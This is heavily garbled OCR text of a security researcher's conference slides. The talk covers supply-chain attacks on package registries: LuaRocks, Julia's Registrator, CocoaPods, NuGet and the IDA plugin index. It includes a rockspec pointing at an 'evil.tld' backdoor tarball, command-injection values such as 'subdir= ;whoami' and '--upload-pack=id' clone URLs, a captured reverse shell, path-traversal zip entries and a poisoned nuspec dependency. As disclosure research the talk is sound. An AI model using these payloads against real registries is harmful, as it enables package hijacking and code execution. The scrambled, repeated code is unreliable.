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ALERT

Malware Discovered in Popular NPM Package, ua-

i = parser-js

< Blog

Shai-Hulud: Ongoing Package Supply

Last Revised: October 22,2021

Chain Worm Delivering Data-Stealing ,
Versions of a popular NPM package named ua—parser—js o was found to contain malicious code . ua—

Malware Parser=js is used in apps and websites to discover the type of device or browser a personis using from User-
Agent data. A computer or device with the affected software installed or running could allow a remote attacker to
Detect and mitigate a critical supply chain compromise affecting over 100+ packages, organizations should act urgently. obtain sensitive information or take control of the system.

p Merav Bar, Rami McCarthy, Barak CISA urges users and administers using compromised ua-parser-js versions 0.7.29, 0.8.0, and 1.0.0 to update to the
“’“ﬁ e Sharoni 10 minute read

it-config-prettier, eslint-plugin-prettier, synckit, @pkgr/core, napi-postinstall have embedded malicious code

everity ) = GitHub Reviewed = Published on Jul 20, 2025 to the GitHub Advisory Database - Updated on Jan 23 ecurity
rability details  Dependabot alerts 0 upply-chain attack analysis: Ultralytics
age Affected versions Pat
dpkgr/core (npm) =028 02 This article is more than 1 year old
slint-config-prettier (npm), =8.10.1 8.1
=911 91 - -
=10.1.6, <= 10.1.7 10.
s Check your repos... Crypto-coin-stealing code
slint-plugin-prettier (npm) >=4.22,<=4.23 4.2
jot-fetch (npm) >=51.11, <=5.1.12 6.C k M t f H I I N P M I i b (2
e moetineal (o o . sSneaks INto r1airiy popuiar I m
ynckit (npm), =0.11.9 0.1

downloads per week)

Node.js package tried to plunder Bitcoin wallets

cription

slint-config-prettier 8.10.1, 9.1.1, 10.1.6, and 10.1.7 has embedded malicious code for a supply chain com
fected package executes an install.js file that launches the node-gyp.dll malware on Windows. A Thomas Claburn Mon 26 Nov 2018  20:58 UTC

o A widely used Node.js code library listed in NPM's warehouse of repositories was altered
to include crypto-coin-stealing malware. The lib in question, event—-stream, is
downloaded roughly two million times a week by application programmers.
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$ luarocks install lua-cjson









commands = {}
modules = {}
repository = {
["15puzzle.nvim"] = {
["1.4.0-1"] = {
{

arch = "rockspec"

b A

arch src

}
}s
["1.4.1-1"] = {

{
arch "rockspec"”

b A o

arch src
}

}s

\_____-/



commands = {}
modules = {}
repository = {
["15puzzle.nvim"] = {
["1.4.0-1"] = {
{

ar "rockspec"”

}

arch = "sprc"

1ua-cjson—2.1.@.1@-1.src.rock:



commands = {}
modules = {}
repository = {
["15puzzle.nvim"] = {
r"a A o_1"1 — s

b 1

arch = "src




commands = {}
modules = {}
repository = {

["15puzzle.nvim"] = {
r a2 mn_1"1 -

b A

arch = "meow"




commands = {}
modules = {}
repository = {

["15puzzle.nvim"] = {
r a2 mn_1"1 -

b A

arch = "meow\




commands = {}

modules = {}

repository = {
["15puzzle.nvim"] = {

rMa A2 n_1"1 -

b A

arch




else
Out :WritE("\"" " -V:gSUb("\"" ; II\\\IIII) - II\IIII)

end




}s

¥

:evil—l.@.x\"}}}};repository={'1ua-jsoni
|
|

'={["1.0.1-1"]={...}};--.rock !

arch = "x\\"}}}};repository={"'lua-cjson'={[...]}};



X\"}}}};repository={"'lua-json
'={['1.0.1-1"]={...}};--

\\"}}}};repository={'lua-cjson'={[...]}};















i€ luarocks.orgflua-resty-http-C X  E@ LuaRocks - The Lua packag

2% https://luarocks.org/lua-resty-http-0.06-0.rockspec

package
version

"lua-resty-http"
"0.06-0"

source = {
url = "git://github.com/pintsized/lua-resty-http",
tag = "v0.06"
}
description = {
summary = "Lua HTTP client cosocket driver for OpenResty / ngx_1

detailed = [I
Features an HTTP 1.0 and 1.1 streaming interface to reading
bodies using coroutines, for predictable memory usage in Lua
land. Alternative simple interface for sinaleshot reauests



téfj luarocks.org/lua-resty-http- > 3 téfj LuaRocks - The Lua packag
(65 2% https://luarocks.org/lua-resty-http-0.06-0.rockspec

package = "lua-resty"

version = "http-0.06-0"

source = { url = "http://evil.tld/backdoor.tar.gz" }
description = { summary = "GGG" }

build = { type = "builtin", modules = {} }




manifest

téj luarocks.org/lua-resty-http-t X tfij LuaRocks - The Lua packag

C 2% https://luarocks.org/lua-re

summary = "GGG" }

build = { type = "builtin", modules = {} }




) IUalOCRS.OTg/ida=iesty=ngav ~ Y IUa=iCsly=ligaval = LUdROCKRS

25 https://luarocks.org/modules/membphis/lua-resty-ngxvar

D ..
% Search modules or uploaders... Install Docs splitli

lua-resty-ngxvar

Fetch nginx variable by FFI way for OpenResty which is faster

UPLOADER ICENSE HOMEPAGE

membphis Apache Licgnse 2.0 github.com/iresty/lua-var-ngin...

INSTALL: $ luarocks install lua-resty-ngxvar

Versions

0.5.2-0 5years ago 407,633 downloads
0.5.1-0 5years ago 22 downloads
0.5-0 6years ago 53,549 downloads
0.4-0 6yearsago 2,246 downloads



https://docs.google.com/file/d/1olS_riQ_b_ekp8eZzPndQN9Jz1lYKYvW/preview
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Installed JSON vo. .3

Updating "~/.julia/envi ents/v1.10/Project.toml”
682c06a0] + JSON vO.21.3

github. com/Ju11aReglstP1es/General git

OO Z2CYobaAY

[69de@a6bd] + Parsers v2.4.@
[ade2ca70] + Dates
[a63ad114] + Mmap

[ de@858da] + Printf
FTMoroa2a1l L Illna-cndo



Register Package

Add a package that you've built to the General registry.

Registry

General

v New package

Package URL ®
repo_url
Server Type ®
Bare Git

Directory ©

subdir

Tag/Branch ®

efault branch

Release Notes




function gettreesha(repo, ref, subdir)
return try
url = cloneurl(repo)
mktempdir() do dir
dest = joinpath(dir, repo)
withpasswd(url) do url, env
run(Cmd( git clone --bare $url $dest ; env))

end

readchomp( git -C $dest rev-parse $ref:$subdir’ ), ""

end



function gettreesha(repo, ref, subdir) 9 COM

return try InJ.
url = cloneurl(repo) eCTI
mktempdir() do dir ON

dest = joinpath(dir, repo)
withpasswd(url) do url, env

run(Cmd(" git clone --bars $url $dest ; env))
end

readchomp( git -C $dest rev-parse $ref:$subdir’ ),

end main: j;whoami

subdir= ;whoami




0 Interpolation
o geoo P
J u a Suppose you want tc ¢ scmethin~ 2 bi* mare ¢ wainica i@t 2nd 1_e the r ame of a file in the variable file

as an argument toaco nmi nd. Yot cz1 1s™ $ fo it rp »=iLnr.w nasv o would in a string literal (see

Strings):
Search docs (Ctrl + /)
- julia> file = "/etc/passwd"

Running External Programs "/etc/passwd"

julia> ‘sort $file’

o Interpolation
‘sort /etc/passwd®

o Quoting

run(Cmd(" git clone --bars $url $dest ; env))

end
readchomp(" git -C $dest rev-parse $ref:$subdir’ ),

end

exec("git", ["git", "-C", "/tmp/x", "rev-parse", "main:; whoami"])



function gettreesha(repo, ref, subdir)
return try
url = cloneurl(repo)
mktempdir() do dir
dest = joinpath(dir, repo)

withpasswd(url) do url, env

run(Cmd( git clone --bare $url $dest ; env))

end

readchomp( git -C $dest rev-parse $ref:$subdir’),

end



u
function gettreesha(repo, ref, subdir) nJeCTIMeNT
return try ON

url = cloneurl(repo)
mktempdir() do dir
dest = joinpath(dir, repo)

withpasswd(url) do url, env
run(Cmd( git clone --bare $url $dest™; env))
end

readchomp( git -C $dest rev-pars :$subdir ), ""

end




u
function gettreesha(repo, ref, subdir) n\TeCTIMeNT
return try (),\J

url = cloneurl(repo)

mktempdir() do dir
dest = joinpath(dir, repo)
withpasswd(url) do url, env
run(Cmd(" git clone --bars $url $dest ; env))
end

readchomp (" git -C $dest rev-parse $ref:$subdir’),

end



u
function gettreesha(repo, ref, subdir) nJeCTIMeNT
return try ON

url = cloneurl(repo)

mktemndir() do dir

api.github.com/repos/<user>/<repo>

with wd(url) do url, env
Cmd(" git clone --bare $url $dest™ ; env))

A\ref:$subdir ), ""

"full name":"<user>/<repo>",

"clone_url":"https://github.com/...",




u
function gettreesha(repo, ref, subdir) nJeCTIMeNT
return try ON

url = cloneurl(repo)

mktemndir() do dir

api.github.com/repos/<user>/<repo>

i &

":"cuser>/<repo>", (-podref:$subdir ), ""

"full name

"clone_url":"https://github.com/...",




JuliaRegistries/Registrator.jl

@ Argument injection in "gettreesha()" function in Registrator.jl
GHSA-w8jv-rg3h-fc68 published on Jun 25, 2025 by aviks



JuliaWeb/HTTP.jl

@ Header injection/Response splitting via header construction.
GHSA-h3x8-ppwj-6vcj published on Oct 10, 2025 by aviks

@ CRJLF injection in URIs.jl (also affects HTTP.jl)

GHSA-49g68-4pxg-mw93 published on Jun 25, 2025 by aviks

JuliaRegistries/Reoict+--*

© Argument injectionin_-ae

JulialWeb/GitForge.jl
@ Lack of validation for user-provided fields in GitForge.jl

GHSA-g2xx-229f-3gjm published on Jun 25, 2025 by aviks



JuliaWeb/HTTP.jl

@ Header injection/Response splitting via header construction.
GHSA-h3x8-ppwj-6vcj published on Oct 10, 2025 by aviks

@ CRJLF injection in URIs.jl (also affects HTTP.jl)

GHSA-49g68-4pxg-mw93 published on Jun 25, 2025 by aviks

Registries/Raaict---

© Argument injectigni

JulialWeb/GitForge.jl
© Lack of validation for user-provided fields in GitForge.jl

GHSA-g2xx-229f-3qjm published on Jun 25, 2025 by aviks



url = cloneurl(repo)

api.github.com/repos/<user>/<repo>

‘r‘un(Cmd(‘git clone --bare $url $dest ; env))

"full name":"<user>/<repo>",

"clone_url":"https://github.com/...",




url = cloneurl(repo)

api.github.com/repOS/<user>/<repo>]

H B
SR AR Y



repo_url = https://github.com/<user>/<repo>

"4

url = cloneurl(repo)

api.github.com/repos/<user>/<repo>




repo_url = https://github.com/<user>l<repo>

" 4 t
url = cloneurl(repo) JEB / 5}%[]

api.github.com/repos/<user>/<repo>




repo_url = https://github.com/<user>l<repo>\..\foo

"4

url = cloneurl(repo)

api.github.com/repos/<user>/<repo>

t

A Sk \



= APT BETE5E0 !

api.github.com/ whatever\endpoint

$

{

"clone_url":"--upload-pack=pwned;://foo",

}




SRR @

api.github.com/ whatever'\endpoint

$

{

"clone_url":"--upload-pack=pwned;://foo",

}




O GitHub Docs Version: Free, Pro, & Team ~ @ Search or ask & Copilot

= RESTAPI

GitHub REST APl documentation

Create integrations, retrieve data, and automate your workflows with the GitHub REST API.

Start here  Viewall » Popular

About the REST API Rate limits for the REST API

AP




api.github.com /markdown

/repos/X/Y/contents/file.md

/repos/X/Y/releases/assets/67

/repos/X/Y/actions/jobs/67/1ogs



api.github.com/ma r‘kdOwn

POST /markdown HTTP/1.1
Host: api.github.com

{"text":"foo"}

<p>foo</p>



api.github.com/r‘epOS/X/Y/COntentS/F

GET /repos/foo/bar\contents\README HTTP/1.1\r\n
accept: application/vnd.github.v3.raw
Host: api.github.com X

# Hello, World!



api.github.con/ P€POS/X/Y/releases/assets

GET /repos/x/y\releases\assets\67 HTTP/1.1\r\n
accept: application/octet-stream
Host: api.github.com X

HTTP/2 302
Location: https://objects.githubusercontent.co...



api.githun.con/ PE@POS/X/Y/actions/.../logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1
Host: api.github.com

2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2076-02-01T065 °

14:
14:
14:
14:
14:
14:
14:
14

17.
17.
17.
. 28306807
17.
17.
17.
17

17

27536207
28176507
28244507

28314507
28323107
28329607
27R2A5107

Current runner version: '2.331.0'

##[group ]Runner Image Provisioner

Hosted Compute Agent

Ver

Con B8ff61c5d
Bui

Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc}
A71ire Reocion: wec<tiis



2026-02-01T05:

2026-02-01T05: %
2026-62-01T05:
2026-62-01T05:

2026-62-01T05:
2026-02-01T05:
2026-62-01T05:
1"1026-02 -01TOE -

. 8ff61c5d

]
]
i

1245783{C}

iNo'fuckin



api.githun.con/ PE@POS/X/Y/actions/.../logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1
Host: api.github.com

2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2076-02-01T065 °

14:
14:
14:
14:
14:
14:
14:
14

17.
17.
17.
. 28306807
17.
17.
17.
17

17

27536207
28176507
28244507

28314507
28323107
28329607
27R2A5107

Current runner version: '2.331.0'
##[group ]Runner Image Provisioner
Hosted Compute Agent

Ver

Con ” :76d2c01448ff61c5d
Bui 'Z

Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc}
A71ire Reocion: wec<tiis



Actions

GitHub Runners




GitHub
Actions ) I

Self-Hosted Runners




JaE L

Runner

GitHub
Actions I




api.githun.con/ PE@POS/X/Y/actions/.../logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1
Host: api.github.com

2026-02-01T05:
2026-02-01T605:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2026-02-01T05:
2076-02-01T0O05K °

14:
14:
14:
14:
14:
14:
14:
14 °

17.
17.
17.
. 28306807
17.
17.
17.
17

17

27536207
28176507
28244507

28314507
28323107
28329607
27Q2A236107

Current runner version: '2.331.0°'

##[group ]Runner Image Provisioner

Hosted Compute Agent

Version: 20260123.484

Commit: 6bd6555ca37d84114959el1c76d2c01448ff61c5d
Build Date: 2026-01-23T19:41:17Z

Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc}
A71ire Reocion: wec<tiis



api.githun.con/ PE@POS/X/Y/actions/.../logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1
Host: api.github.com

{
"whatever”: "meow",
"'FOO": llbar\ll,
"clone_url":"--upload-pack=whoami;://foo/bar.git"

}



url = cloneurl(repo)

api.github. hack\exp\actions\jobs\1337\logs

‘ git clone --bare --upload-pack=id;://x /tmp/x

{
"clone_url":"--upload-pack=id;://x/y",

¥




[ o000 © ssh -t splitline@lish-ap-northeast.linode.com splitli... | 000 &« > O Registrator.jl 8
?-. ~ ncat -klvp 7414 H_‘H @ exp.py U X o registerjl M & gitutils.jl M & test.jl £ Untitled-1 ® & test_register.jl U D>
ENcat: Vgrsiop 7.80 ( https://nmap.org/ncat ) 4 S
t Ncat: Listening on :::7414 O
¥ Ncat: Listening on 0.0.0.0:7414 7 =
§Ncat: Connection from 52.206.43.239. - ; Kies = {
Ncat: Connection from 52.206.43.239:49494. e e
1 /bin/sh: @: can't access tty; job control turn~-

of f

.- wpuar\spLitline\\DOM-Clobber3r\\actions\\jobs\\4353539925

Soiles/oi/od/
29 BRANCH Y el o fOe A
I 30 json_data = {
= 31 'requests': [

1

"clone_url":"--upload-pack=id;://x/y",
}

5 /: .7/. ./JuliaLang/Example.j1/contents/Project.toml HTTP/1.1\r\
../commits/master’
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NiNi € @terrynini38514 - 1814H
Just published an IDA plugin: HappyIDA

Built with @h3xr4bb1t and @scwuaptx, and I’'ve been using it in my daily
reversing work for 1~2 years.

There’s still a lot to do, but it felt like the right time to make it public, so
we’re more likely to fix things (and hopefully some

BERES

=] IDA View-A x| ] Pseudocode-A Strings
int _ cdecl sub_4011E@(int al)

{
_try {
if ( lal)
RaiseException(dwExceptionCode: ©xE@FFEE@@, dwExceptionFlags: ©, nNumberOfArguments: ©, lpArguments: ©);

) { return -1; }

il 2.68




@ ] HappyIDA - Hex-Rays Plugin X +

< C 25  https://plugins.hex-rays.com/HappylDA/HappylDA/HappylDA w

O (:) =2 hexrayssa.github.io/plugin-repo X -
- € he =

Back

- O Hea O & hexrayssa.github.io/plugin—reposit*ry/plugin—repository.json

<> Code (*) Issues 4

W SN EWEB 2MEH (8) Y EE JSON
plugin-reposit( - plugins:

v 0:
host: "https://github.com/Dump-GUY/ApplyCalleeTypeEx"
v~ ¥ ) name: "ApplyCalleeTypeEx"
v versions:
v 1.0.0:
Hex-Rays (GERSS. b 0: { sha256: "958b8ab860306eb06384d5c5df8c31ddb66a40f47fbbco27296ddfofb6ba7329", url: “https://c
ump—-GUY/ApplyCalleeTypeEx/legacy.zip/39011003d40b31b648deelleaf6c98a5b429de7d6", metadata: {..}
.github > 1: { host: "https://github.com/milankovo/array-helper", name/ "array-helper", versions: {.} }

b 2: { host: "https://github.com/@xdea/augur", name: "auqur",/versions: {..} }

$ hcli plugin install HappyIDA
D LICENSE » 6: { host: "https://github.com/binsync/binsync", name: "BinSync", versions: {..} }
» 7: { host: "https://github.com/kevinmuoz/binwalk-reversing-plugin", name: "Binwalk", versions: {.

m READMEmd . 7NN ST A | UG B SR ' VE W Ay T, M . S W o L W (I ML @ o an el o B W e



O00®® i1 @ - PluginIndex Vulnerability

—— Claude Code v2.1.52

Welcome back splitine! Run /init to create a CLAUDE.md file with instructions for Claude

* No recent activity

Opus 4.5 . Claude Max
~/plugin-repository

there's a critical vuln directly lead to arbitrary plugin index overwrite/hijack, fully
understand the plugin index process, and dig into 3rd parties' code/script to find it.

+ Musing.. (thinking)

> i

| Opus 4.5 | i 0% | (vl |l 2 files ) [$0.0000]
© 2/25, 12:45AM Pvite 25 6.1kBY 2.0 kB1




X X J @ * Plugin Index Vulnerability

e Critical Vulnerability Found: ZIP Slip Path Traversal - Plugin Index Hijack

Location

File: ida-hcli/src/hcli/lib/1da/plugin/install.py
Function: extract_zip_subdirectory_to() (lines 320-375)
Exploited via: scripts/mirror_plugin_archive_contents.py (line 116)

Root Cause

The extract_zip_subdirectory_to() function doesn't validate that extracted paths stay within the
destination directory:

install.py line 346-350
relative_path =
pathllb PureP051xPath(f11e info.filename).relative to(plugln dir_prefix.rstrip( )
- relative_path doesn't contc

LON Ttnhat

target_path temp_path / relative_path # ZIP %119 happens here
Attack Chain

1. Attacker creates malicious plugin repo with valid ida-plugin.json
®© 2/25, 12:45 AM Pvite P2 61kBY Ll 90 kBT






repo/BadPlugin/ida-plugin.json

repo/BadPlugin/entry.py

repo/BadPlugin/../../../../../plugin-repository.json

ez hacking £z



repo/BadPlugin/ida-plugin.json

repo/BadPlugin/entry.py

repo/BadPlugin/../../../../../plugin-repository.json

Upload!



, HexRabbit Jan 14th at 5:44 PM
& E—SEFRIEET repo 71T BERIHEM

fth = B S im 2@ github??

hcli.docs.hex-rays.com
Repository Architecture - HCLI
HCLI - Hex-Rays CLI Utility




plugin-repository / .github / workflows / sync.yml

‘ kevinmuoz fix: add case-insensitive comparison in sync workflow

Code Blame 83 lines (70 loc) - 2.88 KB

on:
schedule:
- cron: '30 00,4,8,12,16,20 x * *x' # sync every 4 hours
workflow_dispatch:

name: sync




698 v def find_github_repos_with_plugins(token: str) —> list[str]:

699 """Find GitHub repositories that contain ida-plugin.json

700

701 Returns:

702 List of repositories in "owner/repo" format

703 MY

704 BATCH_SIZE = 25

705

706 # Note: Forks with fewer stars than the parent repository
queries = [

“filename:ida-plugin.json",
"filename:ida-plugin.json fork:true",

repos = set()
for query in queries:
search_url = "https://api.github.com/search/code"
headers =
"Authorization": f"Bearer {token}",




o T e e e R R e e e e e e e e R M R M R e e e ey,

GitHub Workflow i
' @ filename:ida—plug&ln.json

R + fRPT repositories Y release zip

1
1
I
)
/

hexrayssa.github.io/plugin-repository

/plugin-repository.json



v HexRabbit Jan 14th at 10:13 PM




717
718
719
720
721
722
723
724
725
726
727
728
729
730

144

743
744
745
746

page = 1
while True:

params = f“q={urllib.parse.quote(query)I&per_page=254page={page}"
url = f"{search_url}?{params}"

req = urllib.request.Request(url, headers=headers)
with _urlopen_with_retry(req) as response:
result = json.loads(response.read().decode("utf-8"))

items = result.get("items", [1])
if not items:

break

for item in items:

|if len(items) < 100: |
break

page += 1




Fix pagination bug in GitHub code search #140

I VI Wwilliballenthin merged 1 commit into HexRaysSA:main from splitline:patch-1 3 onJan1s

) Conversation 1 -o- Commits 1 [F) Checks o Files changed 1

splitline commented on Jan 15 - edited + Contributor

The search only ever fetches the first 25 repositories, even there are hundreds exist. This causes the
plugin-repository to fail to index new plugins.

®

-O- <8» Fix pagination bug in GitHub code search - Verified 3694e10

williballenthin commented on Jan 15 Contributor = *°*

whoa great find @splitline! thanks for taking the time to identify and fix this bug :-)

I'm going to merge this now, and then immediately next factor out the batch size into a constant, so that this sort of
thing doesn't happen again.

SACD)




2026-01- 15T16:
2026-01-15T16:
2026-01-15T16:
2026-01-15T16:
2026-01-15T16:
2026-01-15T16:

2026-01-15T16:
2026-01-15T16:
2026-01-15T16:
2026-01-15T16:
2026-01-15T16:
2026-01-15T16:

.69644477
.69648237
.69653617Z
.69658837
.69663357Z
.69669557
.69679647Z

.6946607Z ##[group]Archlve artifact
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./_/categories/
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.6946607Z ##[group]Archlve artifact
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./_/categories/malware-analysis/index.html

./_/categories/vulnerability-research—-and-exploit-development/

./_/categories/vulnerability-research—-and-exploit-development/i
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$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that
has been sent to me@splitline.tw



[CocoaPods] Confirm your registration.

Inbox x Updates x

no-reply@cocoapods.org  Wed, Dec 10,2025, 6:42PM vy @ €
tome ~

Hi splitline,

Please confirm your registration with CocoaPods by clicking the following link:

https://trunk.cocoapods.org/sessions/verify/9993c5b9 ) 8 P #X hex ?

If you did not request this you do not need to take any further action.

Kind regards,
the CocoaPods team

<<—1 Reply ><r—) Forward )
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$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that
has been sent to me@splitline.tw



L] FieasSe verilrty Lhne 5e5510N Dy CLLICK1Ng
the link in the verification email that
has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that
has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that
has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
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[!] Please verify the session by clicking
the link in the verification email that

<l . N N

has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that

has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that

has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that

has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw’

[!] Please verify the session by clicking
the link in the verification email that
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[!] Please verify the :
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$ pod trunk register 'm
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$ pod trunk register 'victim@mail.tld'
$ pod trunk register 'victim@mail.tld’ 1
: - 2 5 i

$ pod trunk register 'victim@mail.tld'

Pwned!

...... / vcl'lTy/ueaaDee-F Z 1,_&
12345678 oy it
Qalb2c3d

Y,
http://trunk.cocoapods .or‘g/sessions/ver‘ify/e7a b28de ’Jj I '
b [



HER 4/4



@ nuget



$ nuget install Newtonsoft.Json



$ dotnet add package Newtonsoft.Json

$ nuget install Newtonsoft.Json

Visual Studio W& T H



————————————————————————————————————————————————————————————————————————————————————————————————————————

nuget install E i dotnet restore

VS Package Manager E E dotnet add package <pkg>§

Registration Blob Flat Container
/v3/registration5-gz-semver2/ /v3-flatcontainer/newtonsoft.json

newtonsoft.json/index.json /1.2.3/newtonsoft.json.1.2.3.nupkg



@ pkg.nupkg

Normal.Package.nuspec

<?xml version='
<package xmlns="http://schema...">
<metadata>

<id>Newtonsoft.Json</id>

<version>13.0.4</version>

<dependencies>

<dependency id="Lib.A" version="1.0.0" />

</dependencies> </metadata> </package>




@ pkg.nupkg

Normal.Package.nuspec

= | SRS

N

IEREA <= TR IR

-

T

J

b%EH




@ pkg.nupkg

Normal.Package.nuspec

Blob Storage




@ pkg.nupkg %F‘Jm e

“— JU‘@
o —

Blob Storage



Upload

@ pkg.nupkg .d :
Normal.Package.nuspec . 5'& URL ﬁ@ﬁ% 1?%1 atlon
. EdA X
. e HEx— Bkl

. *.nuspec — EH

738 55— FE M H 319 nuspec

Blob Storage

Background Job



Upload

@ pkg.nupkg .d :
Normal.Package.nuspec . 5'& URL ﬁ@ﬁ% 1?%1 atlon
. ERE X
. e HEx— Bk

. *.nuspec — EH

338 55 —EIFE M H 3% Y nuspec

Blob Storage

Background Job



Upload

@ pkg.nupkg .d :
Normal.Package.nuspec . 5'& URL ﬁ@ﬁ% 1?%1 atlon
. ERE X
. B/ B\ — Bel

*.nuspec — &P

B —MHZ 4 / i nuspec

Blob Storage

Background Job



@ pkg.nupkg

Normal.Package.nuspec

Blob Storage

=P

| B



<?xml version="1.0" encoding="utf-8"?>
<package xmlns="http://schema...">
<metadata>

<id>Newtonsoft.Json</id>

<dependencies>

@ exp.nupkg

sub%2Fevil.nuspec

<dependency id="Evil.Pkg" version="9.9.9" /> Normal.Package.nuspec

</dependencies>

</metadata></package>

<?xml version="1.0" encoding="utf-8"?>

<package xmlns="http://schema...">

<metadata>
<id>Very.Normal.Package</id>

</metadata></package>




Upload
Validation

@ exp.nupkg
sub\evil.nuspec

Normal.Package.nuspec

sub\evil.nuspec

Normal.Package.nuspec

Blob Storage

Background Job



Upload
Validation

sub\evil.nuspec --=> subl!evil.nuspec -> Subdir, skip

@ exp.nupkg

Normal.Package.nuspec ---> Archive Root -> Validates OK

+ ID=Normal.Package .
Database

Background Job



sub\evil.nuspec
Normal.Package.nuspec

lib/net48/foo.dl1l

Blob Storage

Background Job



sub\evil.nuspec (Db2Catalog) -> Selected
Normal.Package.nuspec

lib/net48/foo.dll
--> Catalog2Reg

Background Job

Blob Storage




sub\evil.nuspec (Db2Catalog) -> Selected

Normal.Package.nuspec

lib/net48/fo0o.d11 . = [ ]

--> Catalog2Reg

Background Job

Blob Storage




< » € 25 https://api.nuget.org/v3/registration5-gz-semver2/splitlineggg.hijacktest.victim/index.json

S<1EHEAR
{

"@id": "https://api.nuget.org/v3/registration5-gz-semver2/splitlineggg.hijacktest.victim/index.json",
"@type": [
""catalog:CatalogRoot",
""PackageRegistration",
"'catalog:Permalink"
]l
"commitId": "59e5ea20-b84f-4725-830e-ec2del75579d",
"commitTimeStamp": '2026-02-02T09:20:33.5939819+00:00",
"count": 1,
"items": [

"@id": "https://api.nuget.org/v3/registration5-gz-semver2/splitlineggg.hijacktest.victim/index. json#page/1.0.1/1.0.1",
"@type": "catalog:CatalogPage",

"commitId": "59e5ea20-b84f-4725-830e-ec2del75579d",

"commitTimeStamp": "2026-02-02T09:20:33.5939819+00:00"

"count": 1,

"items":

est.victim.1.0.1.json#depen

"targetFramework"™: "net6.0"

1,

"description": "security test package",
n iCOnU rlu . nn 5

"id": "SplitlineGGG.HijackTest.Victim"




______________________________________________

nuget install
VS Package Manager

Registration Blob

/v3/registration5-gz-semver2/
newtonsoft.json/index. json

Poisoned @

Deps

dotnet restore

dotnet add package <pkg>

______________________________________________

Flat Container

/v3-flatcontainer/newtonsoft.json
/1.2.3/newtonsoft.json.1.2.3.nupkg

Newtonsoft.Json.nuspec

lib/net48/...

<metadata>
<id>Newtonsoft.Json</id>
<dependencies> <dependency ... />
</dependencies>

</metadata></package>



Lua — LuaRocks @

Julia — JuliaHub @
Objective C = CocoaPods @
C# — Nuget @

+ IDA — Plugin Repostory
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Package Registry

pypi, npm, rubygems, nuget...
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Takeaways

Researcher / Developer
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Thanksl!

X splitline@devco.re
X @_splitline_




